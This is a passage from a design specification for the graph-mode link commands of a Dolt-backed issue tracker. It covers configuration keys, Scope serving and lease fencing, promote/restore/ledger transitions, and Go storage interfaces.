over +`config.yaml` for machine-specific settings; merged as the sibling of +the project-level `config.yaml` (never a user-level one); the `.beads`/basename requirement is +`yaml_config.go`'s `projectConfigPathFromLoadedState`, so the writer ensures +a project `config.yaml` exists and gets its own path plumbing). + +| Key | File | Values | Notes | +| --- | --- | --- | --- | +| `bdp.scope_url` | `config.yaml` (tracked; yaml-only) | absolute URL | a **project** fact (ruling 7a). Settable while this workspace holds **no witness**; once it does, `bd config set` / `set-many` / `unset` refuse it (one guard in the shared `rejectProtectedConfigKey` path, which `set` and `set-many` call today and `unset` gains an explicit call to — a DB-free file check; a hand edit of the tracked file bypasses it, and the A3 "configured ≠ persisted" row is the real guard) and the URL changes only through `bd --graph-mode link promote --rotate-url` / `bd --graph-mode link restore`, which write it in their `config_written` phase and are refused while `BDP_SCOPE_URL` overrides it | +| `bdp.authority_heartbeat` | `config.yaml` | duration (default `30s`) | hazard R *[deferred under A9]* | +| `bdp.authority_heartbeat_grace` | `config.yaml` | count (default `3`) | hazard R *[deferred under A9]* | +| `bdp.lease_ttl` | `config.yaml` | duration (default `30s`, renewed every third) | hazard S | +| `link-graph.route` | **`config.local.yaml`** | `local` (default) \| `server` | per-workspace; **not settable from env** (`blockedEnvVars`) | +| `bdp.server` | `config.local.yaml` | absolute URL | `https` required unless loopback or `bdp.insecure_http: true` | +| `bdp.insecure_http` | `config.local.yaml` | bool | the named waiver | + +**Writers.** `bd init --bdp-server ` and **`bd --graph-mode link client server +--server [--insecure-http]`** / **`bd --graph-mode link client local`** write the +per-workspace keys through one shared writer. Generic `bd config set` +accepts the `config.yaml` keys (yaml-only routing) and refuses the +per-workspace keys with "use `bd --graph-mode link client`". No token key in config +(`IsSecretKey` + the tracked-config guard; other trackers accept yaml-only +tokens — BDP chooses a file). Mechanics: `bdp.` joins the inline prefix +slice in `IsYamlOnlyKey` and `recognizedConfigPrefixes`; a `localOnlyKeys` class names the +three per-workspace keys; `validateYamlConfigValue` gains the entries. + +**Environment.** `BD_` via viper for the config keys; `BD_BDP_CLIENT` +blocked. `BDP_SCOPE_URL` is **read first, explicitly** (viper consults +`AutomaticEnv` before a `BindEnv` list — the GH#4645 `BD_ACTOR` precedent; +the `BEADS_ACTOR` shape), then `BD_BDP_SCOPE_URL`. The client token file is +**`BEADS_BDP_TOKEN_FILE`**; no `BD_BDP_TOKEN` (child-process inheritance). + +**Credential lookup** (client): `BEADS_BDP_TOKEN_FILE` > credentials file +section `[bdp ]` with `token=`. No redirects followed; +`Authorization` only to the configured origin. + +**Precedence, per command** (a table test pins it): `bd init --bdp-server` +— flag > env > existing `config.local.yaml`, writes `config.local.yaml`; +`bd --graph-mode link client` — writes `config.local.yaml`; `bd config set bdp.scope_url` +— no witness: writes `config.yaml`; witness held: refused; every link-mode +verb — env (where permitted) > `config.local.yaml` > `config.yaml`; +`bd --graph-mode link status` — prints route, target, token source (never the token), +`insecure_http`, and the identity state row. + +**In `link-graph.route: server` mode** the verbs' `openBeadGraph*()` accessors return +a BDP-client realization of the same `graphops` roles (A5); `bd --graph-mode link serve` +there refuses unless `--serve-local-store`. Issue verbs are unaffected. + +### A3. `bd --graph-mode link serve` — serving a Scope (rulings 7b, 9, 12; amendments A1, A2, A7, A9 — ruled 2026-09-07; A10 — ruled 2026-09-08) + +**v0 serves BDP only from SQL-server workspaces.** `bd serve` refuses +embedded Dolt permanently; every Dolt-server topology serves from the +unit-of-work provider — the serving leg, where every fence lives. A +**registered backend** is served from its store arm (`serveDatabaseSource` +routes it there; the backend may itself be embedded) and has no fence to +offer, so its BDP rows are **absent in v0** (`bd --graph-mode link serve` exit 2, typed); +the seam it would declare later is the deferred ADR's to define (an +out-of-tree module cannot import `internal/storage/graphcap`). Embedded +workspaces under A9 as amended by A10 are solo authorities when they have +no remote and no server, with local graph reads and verbs. Embedded client +hosts retain the local graph `ErrNotAuthority` refusal contract. Neither +embedded topology serves BDP over HTTP in v0. + +`bd --graph-mode link serve` is a **thin command over the existing `internal/httpapi` +server**; two policies differ from `bd serve`: it **requires a Scope this +workspace holds** (exit 2 otherwise) and **it is the only serving command that +mints**, through a **staged startup** — the gate rules forbid a +shared→exclusive upgrade, so the sequence in Part A's table is the only +one: shared gate → temporary source reads the Scope row → close → +**release** → (no Scope row: exclusive gate → reopen and re-check → mint +(A4) → close → release) → shared gate → serving source → serve. `bd serve` mounts the rows only when +it holds an already-minted Scope, **converts every graph failure into "rows +absent + notice"**, and is byte-identical with no URL. Both inherit +`errServeReadonly` wholesale. + +```text +bd --graph-mode link serve [--addr IP:PORT] [--allow-non-loopback] [--auth-token-file PATH] + [--insecure-no-auth] [--allowed-host NAME]... (serve's own flags/variables) + [--scope-url URL] first serve: mints under it and writes config.yaml + (config_written phase); later: must equal the + persisted Scope URL or refuse + [--serve-local-store] permit serving in a client: server workspace +``` + +No `--dev-local-test`. Behavior, in order: + +1. **Classification:** `serveDatabaseSource`, verbatim; registered backend → + rows absent (v0); embedded → refused; otherwise the UOW provider, which + gains a `beadsDir` field (`cmd/bd/uow_factory.go`'s + `newSQLServerUOWProvider` receives it today and forwards it to the + journal and root resolution, but the provider struct itself keeps none; + `timedProvider` gains a getter). +2. **Roles from the same source** (provider arm: the provider beneath + `uow.UnwrapProvider`; `checkDatabaseSource`'s exactly-one-source rule + extends to them). +3. **Capability probe, all-or-nothing:** `bd --graph-mode link serve` exit 2 on + `ErrUnsupported`, abort on any other error; `bd serve` → rows absent + + notice in both cases. +4. **Identity** — split by command; `bd serve` **never refuses and never + mints**: + + | Persisted Scope | Configured URL | Witness | `bd --graph-mode link serve` | `bd serve` | + | --- | --- | --- | --- | --- | + | none | none | — | exit 2 | no BDP rows, silent | + | none | set | — | **staged mint** (A4) then serve honestly empty | no BDP rows; notice "unminted; run `bd --graph-mode link serve`" | + | present | none / **different** | any | exit 2 / refuse | no BDP rows; notice | + | present, matches | matches | **absent** (clone; pull into a fresh dir; copy elsewhere — installation key mismatch) | refuse `ErrNotAuthority`; guidance: `bd --graph-mode link promote --steal` if this is the same database (a moved or re-keyed workspace — the lease names the old key), otherwise `bd --graph-mode link promote --rotate-url` | no BDP rows; notice | + | present, matches | matches | **pending transition** | recovery first (B3, by evidence), then re-evaluate | no BDP rows; notice (plain `bd serve` never runs recovery — it never mints, fetches, or publishes; CLI reads answer `ErrNotAuthority` with the same notice) | + | present, matches | matches | `(authority_id, epoch)` stale, or the lease held by **another** holder | refuse; guidance `bd --graph-mode link promote --steal` (an operator assertion of "same database"; a foreign holder's expiry alone never grants a takeover) or `--rotate-url` | no BDP rows; notice | + | present, matches | matches | consistent but the lease **expired while still naming this workspace** (the server was down longer than the TTL) | **self-regrant** on the next lease write (same fence-cell predicate; no epoch change); serve | serve BDP rows | + | present, matches | matches | ledger head not in the store (restore or different history) | refuse `ErrStateRewound`; guidance `bd --graph-mode link restore` | no BDP rows; notice | + | present, matches | matches | `unverified` set | refuse until `bd --graph-mode link restore` | no BDP rows; notice | + | present, matches | matches | consistent | take/renew the lease; serve | serve BDP rows | + +5. **Host policy:** the Scope URL's host joins the allowlist; plaintext + behind TLS termination. +6. **Fencing while serving — the watcher state machine** (`FenceSource`): + `held → renewing → lost`. Hazard S: the lease is renewed every third of + `bdp.lease_ttl` through `RunTxEphemeral` — the renewal rewrites `fence` + **and extends `expires_at = NOW(6) + ttl`** — and asserted inside every + transaction with the full predicate (B3); the watcher **rebuilds its claim + from the witness on every renewal** (an in-workspace `promote --rotate-url` + moves the epoch; a consistent witness makes that a re-arm, not a loss) with + jittered cadence, serialized in-process against the process's own + mutations; every fenced transaction in the shared-gate context carries a + deadline below a third of the TTL and is cancelled and retried past it; a + failed renewal past `expires_at` is `lost`, and so is a protected read + whose remaining lease interval is shorter than its deadline — the serving + leg never regrants on the read path. Hazard R *[deferred under A9]*: the tracking ref + `remotes//` is fetched every `bdp.authority_heartbeat` and + its **ledger head** is read (`SELECT seq, hash FROM graph_ledger_events AS + OF '' ORDER BY seq DESC LIMIT 1`); a head not contained in the + **workspace's witness (reloaded on every check)**, or + `bdp.authority_heartbeat_grace` missed fetches, is `lost` — the tuple + alone cannot distinguish a same-witness twin, and a process-local + expectation would mistake the workspace's own CLI publication for a loss. + On `lost`: the BDP rows are **disabled atomically** (the legacy surface + and its capability list untouched), `bd --graph-mode link serve` exits 3 after + draining, `bd serve` logs and continues; the watcher **joins before the + provider shuts down**. Both hazards → both watchers. +7. **Mounting:** `serveListen(opts, httpapi.Config{…, Graph: …})`. +8. **Lifecycle:** excluded from the post-command maintenance net by + `commandPolicy`, not by the leaf name. + +### A4. `bd --graph-mode link promote` / `restore` / `ledger` / `types install` (rulings 9, 11; amendments A5, A7, A9 — ruled 2026-09-07) + +The only reachers of `BeadGraphAdmin()` and `BeadGraphTypeInstaller()`. +`promote` and `rotate` run under the **shared** gate and rely on the lease +(the workspace is the holder, so they run beside a live server); +`types install`, `restore`, and `ledger apply` run under the **exclusive** +gate with the server stopped. Every replicated graph mutation +(mint, promote, rotate, install, ledger apply, the P1 seeds, P3 writes) +runs through **one primitive on the provider, `PublishGraphMutation`**, and +transitions (mint, promote, rotate, apply) are **multi-phase** (B3). + +**The primitive, per hazard.** *Hazard S:* the fenced transaction (lease +`UPDATE` rewriting the fence cell and extending `expires_at` with one +affected row — self-regranting an expired lease that still names this +workspace — the counter with its allocation nonce, rows, events, each +transition event carrying the transition's **operation id**), scoped commit +(`DOLT_ADD` graph tables + `DOLT_COMMIT -m` via the new `RunTxScopedResult`; +`doltServerTx.Commit` hardcodes `-Am` today), done. *Hazard R [deferred +under A9]:* record local HEAD; `DOLT_FETCH`; require the remote-tracking +HEAD to be an **ancestor** of local HEAD (`DOLT_MERGE_BASE`; unpushed +issue-plane commits do not block); record the remote's graph roots and +ledger head; the fenced transaction; scoped commit (phase +`local_committed`, op commit recorded); `DOLT_PUSH`, classified by a +**typed lift of the whole of `isPushRaceErr`** (`cmd/bd/sync.go`: its +`pushRacePattern` matches all three race routes — the SQL "behind its +remote counterpart", the CLI `! [rejected] … (non-fast-forward)`, and the +`git+*` `(stale info)`/`(fetch first)` forms — **and** its diverged-history +and ancestor-PK-mismatch exclusions, which must travel with it): **race** → +refetch and compare **both** the remote-tracking ref's **ledger head** +(`SELECT seq, hash FROM graph_ledger_events AS OF '' ORDER BY seq DESC +LIMIT 1` — `MAX(seq), hash` errors under Dolt's default +`ONLY_FULL_GROUP_BY`, probed) **and the eight graph tables' diff** between +the recorded remote pre-head and the new remote head (`DOLT_DIFF_STAT` +restricted to those tables) against what was recorded before the +transaction — any graph delta or ledger movement → **fail closed and +undo** (never the `(authority_id, epoch)` tuple alone: a VM-image twin or a +same-authority fork shares it); neither changed (issue-plane divergence +only) → keep the commit, `ErrSyncRequired`, retryable after `bd dolt pull`; **any other failure** → +keep the commit, phase stays `local_committed` with `unpublished` set, +retry on the next attempt. **Undo:** if HEAD is still the op commit, +`DOLT_RESET --soft `, then per graph table `DOLT_RESET('
')` +(unstage — a bare checkout after a soft reset restores from the *staged* +root and reverts nothing, probed) and `DOLT_CHECKOUT('
')` (or +`DOLT_CHECKOUT('HEAD', '--', '
')`), leaving unrelated dirty tables +untouched; if HEAD has moved, `DOLT_REVERT ` (later commits from +other actors are preserved). The versioned undo does not touch the +dolt-ignored lease, so **on either path, and only if the lease still +names this workspace at the operation's epoch**, a compensating +`RunTxEphemeral` write restores the pre-operation lease row — predicated +on the current fence and writing a fresh one (a `DOLT_REVERT` restores the +Scope epoch while the ignored lease keeps the operation's, which would lock +the workspace out of its own lease — probed); when another holder now +legitimately holds the lease, it is left alone. The undo is phased (`undo_started → +versioned_undone → lease_restored`), resumes from its recorded phase on the +next load whether or not the operation still appears in the ledger, and +pauses in-process renewal and graph mutation while it runs. Then `Abandon`. +`doltVersionControlSQLRepository` gains `MergeBase`, `ResetSoft`, +`UnstageTables`, `CheckoutTables`, `Revert`, `HashOfTables`; the remote +pre-head hash is read with `SELECT commit_hash FROM dolt_log AS OF +'' LIMIT 1` (`DOLT_HASHOF` rejects the `remotes/` spelling). Dolt's +staging area is shared, so a scoped `DOLT_COMMIT -m` still sweeps whatever +another session staged in the same tables — a stated limitation, in the +`bd sql` class. A missing remote-tracking ref is +vacuously an ancestor (the push creates it; an empty remote ledger reads as +no head); the ref is `remotes//`, built by one provider API +from the configured sync remote and the active branch — the tree's +`verifyPullLanded` spelling, and the one `DOLT_MERGE_BASE` already receives. Table-scoped staging still sweeps rows +other sessions left uncommitted in the *same* graph tables — consistent +with `bd sql` being out of contract, and stated. *Both hazards → both.* +**A lease row is not proof of "minted here"** — `dolt clone` omits the +dolt-ignored table, but `DOLT_BACKUP` restore and a directory copy carry +the working set with it, and Dolt's `@@server_uuid` is per machine +(`~/.dolt/config_global.json`, identical for a same-machine copy — probed), +so nothing in-band distinguishes a copied database served by a second +`sql-server`. In-place promotion therefore has exactly two paths: +**self-regrant** when the lease row (bound to `scope_url` and +`authority_id`) names this workspace, and **`--steal`**, an operator +assertion of "same database" in the class of force-push and `bd sql`; a +foreign holder's expiry alone never grants a takeover. **`Promote +--rotate-url` is the bootstrap** that creates a new lease row under a new +URL and refuses the old one forever — the path for a clone, a copy, and a +restore that cannot show continuity. On the shared-database leg under A9 this is the whole arbiter; +without A9 hazard R adds the remote fence. Stated residual: a `--steal` on +a copied database creates a second authority. + +- **`Mint`** (serving path: `bd --graph-mode link serve`'s staged startup; + A10 local solo trigger and gate mapping are P1 mechanisms, architecture §2b): precondition *no Scope + row*; INSERT the singleton row, seed `graph_ledger_seq`, `mint` event, + install the built-in catalog with `install` events; hazard S: take the + lease; publish; `config_written` when `--scope-url` supplied the URL; + finalize. +- **`bd --graph-mode link promote`**: precondition a consistent Scope row; three cases, + no fourth. (1) The lease names this workspace → self-regrant regardless + of expiry (no epoch change; the verb reports "already the authority"). + (2) It names another holder → only `--steal` (operator-confirmed) takes + it: CAS the epoch (a lost race is a serialization loser → typed refusal) + with a `promote` event carrying the `op_id`; publish; finalize. (3) No + lease row → **refuse** unless `--rotate-url`, which creates the lease row + under the new URL with `refuse_url(old)` + `rotate(new)`; publish; + finalize. `--rotate-url` beside a live server makes the server exit 3 + (its served URL and host allowlist are fixed at startup). `--rotate-url ` rotates in the same + transition (refused while `BDP_SCOPE_URL` is exported). +- **`bd --graph-mode link restore`**: runs after a database restore (`bd backup restore` + — also reached by `bd bootstrap`'s restore action — calls + `Admin.MarkUnverified` after `RestoreDatabase`, before its commit; a + no-op without a witness). Exempt from the head check; precondition + lineage match under the exclusive gate; branches on `LedgerDurability`: + `in-state` (Dolt, v0) → requires a ledger snapshot reaching the witness's + `{seq, hash}` (`--ledger `, applied through `LedgerApply`) to show + continuity, otherwise **rotates** (`refuse_url` + `rotate`, `config.yaml`, + regrant); `independent` → re-validates (ancestry) and regrants; `none` → + always rotates. Never silent. +- **`bd --graph-mode link ledger snapshot|apply`**: the hash-chained events as JSONL + under a manifest `{scope_url, authority lineage, first_seq, last_seq, + prev_hash of first, head_hash}`. `LedgerApply`'s recovery predicate: + exclusive gate; lineage matches; the store's head equals the manifest's + predecessor; every `hash` verifies. It restores **anti-reuse history, + not graph content**: an applied `allocate` whose row is absent becomes a + **`reserved`** allocation (never reusable; reads answer the gone family), + the Scope lineage is replayed, `graph_scope_history` re-derived, and the + counter set to `last_seq + 1`; then regrant. Full recovery is a database + restore *plus* the lane. +- **`bd --graph-mode link types install `**: post-mint catalog change (P1; W3 + emits the file): a fenced, published mutation with `install` events. + +### A5. Graph verbs (v0 reads; P3 writes) + +```text +bd --graph-mode link show # a Bead or a Link, by path +bd --graph-mode link list [--kind bead|link] [--type URL] [--source PATH] [--target REF] [--after CURSOR] [--limit N] +bd --graph-mode link types [get ] | types install +bd --graph-mode link status +bd --graph-mode link client local | server --server URL [--insecure-http] +bd --graph-mode link serve | promote [--rotate-url URL] [--steal] | restore [--ledger FILE] | ledger snapshot|apply +(P3) bd --graph-mode link create|update|delete … ; bd --graph-mode link link --type URL +``` + +Each verb reaches its role through an accessor (the `cmd/bd/label.go` +pattern plus the client route), with a route-fork test in the shape of the +`*_proxied_integration_test.go` / `*_embedded_test.go` pairs. CLI reads on +the authority workspace read its own state; on any other workspace they +refuse (`ErrNotAuthority`) — there is no replica read in v0. Under A9 as +amended by A10, an embedded workspace with no remote and no server is a solo +authority with local reads and verbs; embedded client hosts and registered- +backend client hosts retain the refusal contract. Solo authority serves no HTTP. +`internal/bdpclient` maps Problems back to the typed errors (round-trip +test). No collection routes before the cursor ADR (`ErrNotServedYet` on +the client route; `list` works on the local route from P1). + +## Part B — Storage interfaces + +### B1. Accessors on `storage.Storage` (amendments A4, A8 — option A wording) + +Named **`BeadGraph*`** (`GraphCounter()` counts the *issue* graph). Six +accessors — `BeadGraphReader`, `BeadGraphTypes`, `BeadGraphTypeInstaller`, +`BeadGraphIdentityReader`, `BeadGraphBootstrapper`, `BeadGraphAdmin` — +with the doc comments of v5 (manager-backed roles; every call reloads the +witness; no request carries authority; the admin role is never held by a +server). Added to **`storage.Storage`**. A required method is **promoted +through every wrapper that embeds the `DoltStorage` interface** — the +wrappers compile unchanged — so every decorator and provider wrapper +**declares** each accessor explicitly and the three censuses (B5) catch the +ones that do not; **direct implementers** (a custom store, mock, proxy) fail +to compile until they add the six stubs — the source break `storage.go` +declares, called out in CHANGELOG as the joint `ReadyClaimer`/`BatchCloser` +entry was. Under option B, an optional `BeadGraphCapable` interface on the +concrete store is **not** promoted through an interface-embedding wrapper, +so every wrapper implements it explicitly and every consumer resolves it. + +### B2. The `graphops` leaf (public, repo root; amendment A4) + +```go +package graphops // imports: stdlib, beadserrors — nothing else + +// ---- requests and results: NO authority fields anywhere (the witness is the store's) +type Cursor string // OPAQUE: store-produced; binds Scope URL, epoch, selection hash, last path; + // P2 adds snapshot identity inside it — no public interface change +type BeadRequest struct{ Path string } +type LinkRequest struct{ Path string } +type BeadSelectRequest struct{ TypeURL string; After Cursor; Limit int } +type LinkSelectRequest struct{ TypeURL string; Source *Ref; Target *Ref; After Cursor; Limit int } // endpoints symmetric (P0 council 2026-09-07) +type IncidentRequest struct{ Path string; Direction Direction /* In | Out | Both */; After Cursor; Limit int } +type DescriptorRequest struct{ URL string } +type InstallRequest struct{ Descriptors []TypeDescriptor } + +type OwnedLinkGroup struct{ TypeURL string; Links []Link } // the pinned schema keys ownedLinks by Link Type URL +type BeadRecord struct{ Bead Bead; OwnedLinks []OwnedLinkGroup } // groups in code-unit order of TypeURL; Links in code-unit + // order of path; an owned Type with no Links is an EMPTY group +type BeadPage struct{ Items []BeadRecord; Next Cursor } +type LinkPage struct{ Items []Link; Next Cursor } + +type Reader interface { + Bead(ctx, BeadRequest) (BeadRecord, error) + Link(ctx, LinkRequest) (Link, error) + Beads(ctx, BeadSelectRequest) (BeadPage, error) // WHERE path > last ORDER BY path LIMIT n, binary-collated column + Links(ctx, LinkSelectRequest) (LinkPage, error) + IncidentLinks(ctx, IncidentRequest) (LinkPage, error) // one UNION over (source, target) indexes, ordered, limited +} +type DescriptorReader interface { + Descriptors(ctx) ([]TypeDescriptor, error) // ordered by URL; bounded by MaxCatalog + Descriptor(ctx, DescriptorRequest) (TypeDescriptor, error) +} +type TypeInstaller interface { + Install(ctx, InstallRequest) (InstallResult, error) // post-mint; fenced; published on hazard R; idempotent by fingerprint +} +type IdentityReader interface { + Read(ctx) (ScopeIdentity, error) // Scope row + witness claim (Held, Epoch, LedgerSeq, Unverified, Pending) + LedgerDurability(ctx) (LedgerDurability, error) // in-state | independent | none (ruling 11) +} +type ScopeBootstrapper interface { + Mint(ctx, MintRequest) (ScopeIdentity, error) // multi-phase; fenced per hazard; catalog installed inside +} +type Admin interface { + Promote(ctx, PromoteRequest) (ScopeIdentity, error) // multi-phase; fenced per hazard; RotateURL optional + Rotate(ctx, RotateRequest) (ScopeIdentity, error) // refuse_url(old) + rotate(new), one transaction; config.yaml in config_written + LedgerSnapshot(ctx, LedgerRange) (LedgerManifest, []LedgerEvent, error) + LedgerApply(ctx, LedgerManifest, []LedgerEvent) (LedgerApplyResult, error) // recovery predicate; anti-reuse history; regrants + MarkUnverified(ctx) error // no-op without a witness + ClearUnverified(ctx) error +} + +type AllocationState = string // live | reserved | pruned | erased ("reserved": ledger-applied, row absent) + +// NOT here: transaction-bound provider capabilities live in internal/storage/graphcap — +// StateVersioner { GraphStateVersion(ctx, tx DBTX) (StateVersion, error) } // DOLT_HASHOF_TABLE('') × 8, sha256 +// GraphPublication (a registered backend's own hazard-R fence; deferred) +// LeaseClaim{InstallationKey, Epoch} +// — the public leaf carries no runner type, so the capability that takes one cannot be public. +``` + +**Values** (`Bead`, `Link`, `Ref`, `Properties`, `Revision`, `Attribution`, +`TypeDescriptor`, `OwnedLinkDecl`, `ScopeIdentity`, `LedgerEvent`, +`LedgerManifest`) have unexported fields and constructors that enforce the +laws in `laws.go`. `Properties` is the immutable raw-JSON object value from +the plan; its canonical bytes are what B4 stores. `Ref` is a sum: in-Scope +(`Path`) or external (`URL`). `Revision` is 128 bits from `crypto/rand`, +lower-hex. A `LedgerEvent` carries `{seq, kind, op_id, path|scope_url, +revision?, fingerprint?, authority_id, epoch, at, prev_hash, hash}` with +`hash = sha256(canonical(event without hash))`. + +**Bounds:** `MaxExpandedRows` with `LIMIT (MaxExpandedRows − materialized) + 1`; +`Max` required on owning Types. **Statement budgets, per role method** +(pinned by the contract; a validation run has its own budget outside the +read's transaction; the lease `UPDATE` of a mutation counts as one; a CLI +read's one-time ephemeral regrant on its own expired lease is a separate +transaction outside the budget): + +| Method | Statements | Composition | +| --- | --- | --- | +| `Bead` / `Beads` page | ≤ 7 (6 on a descriptor-cache hit) | Scope row; ledger head; lease; state version; row/page; descriptors; batched owned links | +| `Link`, `IncidentLinks`, `Links` page | ≤ 5 | Scope row; ledger head; lease; state version; the query (one `UNION` for incident) | +| `Descriptors`, `Descriptor` | ≤ 5 | Scope row; ledger head; lease; state version; catalog | +| `IdentityReader.Read` | 3 | Scope row; ledger head; lease | + +**The row-level fence (ruling 13).** Every mutating body issues `SET +@bd_graph_role = 1` as its first statement inside the transaction and +`SET @bd_graph_role = NULL` as its last statement before `COMMIT` or +`ROLLBACK`, on every exit path (deferred); reads never set it. The clear +is load-bearing: probed over the MySQL protocol with a one-connection +pool, a transaction that commits without clearing leaves the next plain +statement on that connection unfenced, and one that clears does not. Verification row (ii) corrected the cancellation claim (2026-09-07): a +transaction cancelled *between* statements is rolled back and its +connection **pooled with the variable still set** on both server legs +(the UOW leg's `closeAttempt` rolls back on `context.WithoutCancel` and +releases the connection; the `*sql.Tx` shape keeps it because the driver +implements `SessionResetter` and `Validator`); only a mid-statement +cancellation closes the socket. The rule: the deferred clear runs on +`context.WithoutCancel(ctx)` with its own short timeout — proved to fence +the pooled session — and a clear that cannot be confirmed poisons the +connection (closed, never pooled); the CLI leg's wrapper begins its +transaction on `context.WithoutCancel` or pins `db.Conn`. The embedded leg +has no pool hazard: its driver's `ResetSession` returns `ErrBadConn`, so +every checkout is a fresh session. Mutating budgets carry two +statements more than their SQL alone. A body that omits the variable +cannot write — the triggers refuse its own statements — so the +conformance suite catches the omission by construction. + +**Errors:** `ErrNoScope`, `ErrScopeExists`, `ErrNotAuthority`, +`ErrStateRewound`, `ErrStateChanged`, `ErrSyncRequired`, `ErrUnpublished`, +`ErrURLReused`, `ErrRepresentationTooLarge`, `ErrNotServedYet`, +`GoneError{Path, State}`. Home (P0, recorded 2026-09-07): the plane-neutral +sentinels are declared in `beadserrors` and aliased here; `ErrNoScope`, +`ErrScopeExists`, `ErrURLReused`, and `GoneError` are `graphops`'s own, +because `beadserrors`' charter keeps domain-naming refusals in the leaf. +`GoneError` matches `ErrNotFound` under `errors.Is` (the spec's same-404 +default); a handler opts into the 410 by `errors.As`. + +**P0 implementation notes (recorded 2026-09-07 after council 11's fold; the +code on `janet-beadgraph-p0` is the reference).** Scope-URL laws split in two: +`ValidateScopeURL` is the client-side law (a client may reference a bdptest +dev server's `…/local-test/` Scope) and `ValidatePersistedScopeURL` the +persisted-identity law used by `Mint`, `Rotate`, ledger events carrying +`scope_url`, and manifests (`local-test` refused there). `NormalizeScopeURL` +normalizes the **whole origin** under one WHATWG model — scheme and host case, +percent-encoded host characters, the ends-in-a-number rule (all-digit or `0x` +last label ⇒ IPv4, rendered dotted-decimal), IPv6 compression (`[::ffff:102:304]`), +ports with leading zeros and default ports — and the same model classifies a +reference as in-Scope or external; a noncanonical in-Scope spelling is refused, +an external reference is preserved byte-for-byte; a trailing-dot registered name +is canonical and a distinct host; no IDNA (configure IDN hosts as A-labels). +`LinkSelectRequest` takes `Source *Ref` and `Target *Ref` (endpoints symmetric; +the one-in-Scope-endpoint law). Ledger: `MaxLedgerSeq = MaxUint64-1`, seq ∈ +[1, MaxLedgerSeq]; the counter is exhausted at `MaxUint64` and the chain +refuses wraparound. Descriptor canonical form: `description:""` ≡ absent, +`propertiesSchema:""` refused, a zero endpoint constraint is the empty set, +`conformsTo` sorted by code unit. Every string entering a JSON-backed value must +be valid UTF-8. **Ruled on bdp#1 (2026-09-08):** `ownsOutgoing` admits the +wildcard entry `"*": { max }` — every outgoing Link Type not listed explicitly +is owned, `max` bounds the whole owned set, explicit entries take precedence +for the types they name; `OwnedLinkDecl` gains that variant and `Owns` resolves +explicit-then-wildcard; the record's owned groups exist for types actually +present plus empty groups only for explicitly declared types; no group is +ever keyed `"*"`, and `Owns("*")` is false (it is a key, not a Type). Landed +on the P0 branch (1cbb5e6e3): `OwnedLinkDecl` is a sum — +`NewWildcardOwnedLinkDecl(max)`, `Wildcard()`, `WildcardOwnedLinkKey` — and +`ValidateTypeURL("*")` is refused by name everywhere a Type URL is expected. +**Historical wire description, superseded by the §0 `19923f5b` adoption:** +the original pinned bundle's `propertyNames: +absoluteHttpUrl` on `ownsOutgoing` and `ownedLinks` refuses `"*"` (bdpwire's +decoder holds member shape, not key grammar; the test-only tripwire +`TestWildcardOwnedLinkKeyIsNotInThePinnedBundle` was retired by that adoption). + +### B3. Bodies, the witness manager, and legs + +Bodies take **`DBTX`**, the witness, and the process-local claim: + +```go +func ReadBeadInTx(ctx, tx DBTX, w authority.Witness, claim graphcap.LeaseClaim, req graphops.BeadRequest) (graphops.BeadRecord, error) +``` + +**`internal/storage/authority` — the witness manager** (no SQL): + +- **Installation key.** A random id created once in the directory the + tree's `UserConfigYamlPath` resolver (`internal/config/user_config_path.go`) + chooses — the documented `~/.config/bd` when possible, the native + `os.UserConfigDir` location otherwise — file `installation-id`, or the + path in `BEADS_INSTALLATION_ID_FILE`: `O_EXCL`, mode 0600, re-read after + creation (the winner of a race is what every process uses), directory + fsynced; an unresolvable directory fails closed. `InstallationKey = + sha256(id ":" realpath(.beads))`. Never the hostname. Stated residuals: the + id is **per OS user** (a service user's `bd serve` and an operator's + `bd --graph-mode link promote` compute different keys — cross-user shared roots are + unsupported, as the workspace gate already declares); an **ephemeral home** + regenerates it on every start (`ErrNotAuthority` until `bd --graph-mode link promote`); + a moved workspace needs a `bd --graph-mode link promote` (guidance: "moved or copied"). +- **`Load`** is a plain read; a pending transition triggers **recovery** + before any assertion (below). +- **`Advance`** takes the exclusive lock with a bounded poll (`internal/lockfile` + has no timeout API; the `workspacegate` poll is the precedent; both + `ErrLocked` and `ErrLockBusy` honored) and, **while holding it, asks the + evidence provider** to decide a **descendant-aware compare-and-advance**: + a candidate whose ledger head is an exact prefix of, and whose commit is + an ancestor of, the current witness's is a successful no-op; newer fields + are never replaced by older ones; a forked candidate is rejected — two + writers can commit in one order and advance in the other, and opaque + hashes alone cannot decide this; then `internal/atomicfile` (file fsync) + and a directory fsync. +- **Transitions are multi-phase, recovered by evidence.** `Begin` + (preflight: ensure the three ignore entries, refuse a git-tracked witness, + take the lock — **held continuously through `Finalize`/`Abandon`**, and + recovery acquires it first, so a live transition is never mistaken for + crash residue) writes `{kind, op_id, phase: begun, pre_head, + pre_ledger_head, pre_lease, remote_pre_head, expected_roots, + config_intent}`; every ledger event carries an indexed, hash-covered + `op_id` column and the commit message repeats it; the SQL-free manager + asks the store through an **evidence provider** ("is `op_id` in the + ledger?", "does the current commit descend from this one?", "is this + head an exact prefix?"); after the scoped commit `SetPhase(local_committed, op_commit)`; + after the push `published`; after `config.yaml` `config_written`; then + `Finalize` writes the new witness and clears the record. **Recovery** on + `Load` never trusts the phase alone: it first asks the ledger whether + `op_id` is present (a crash between the commit and the phase write leaves + `begun` with the operation committed — then it is `local_committed`); with + no local operation → `Abandon`; with a local operation on a shared + database when hazard R is not in force (no remote, **or any remote under + A9**) → publication is satisfied: **execute any outstanding + `config_intent`, record `config_written`, then `Finalize`**; with hazard + R in force → classify the remote with the same ledger-plus-eight-table + delta classifier as the push race, in this precedence: {contains this + operation → `published`; still at `remote_pre_head` → resume the push; + issue-plane-only movement → `ErrSyncRequired`, keep the commit; graph + delta from foreign work → undo and `Abandon`}; `published` → write config + if intended; `config_written` → `Finalize`. `LedgerApply`'s evidence is + kind-specific — the manifest's head, range, and expected roots — because + imported events keep their original `op_id`s (rewriting them would break + their hashes). Retrying a transition never mints a second epoch. Ordinary + published mutations (`Install`, P3 writes) carry an `op_id` in their event + and an `unpublished` marker until pushed, recovered the same way. +- **Order of an ordinary mutation:** DB commit (and publish) before the + witness advances; a crash between leaves the witness behind, which the + next assertion tolerates. Residual (P3): an acknowledged write never + witnessed before a restore. + +| Leg | Files | Body | +| --- | --- | --- | +| server Dolt (CLI) | `internal/storage/dolt/beadgraph_*.go` | witness + claim per call; `withReadTx` / `withRetryTx`; scoped commit; `PublishGraphMutation` | +| embedded Dolt (CLI only, A9 as amended by A10) | `internal/storage/embeddeddolt/beadgraph_*.go` | same body, `withConn`; solo topology wires the full local read contract with its witness 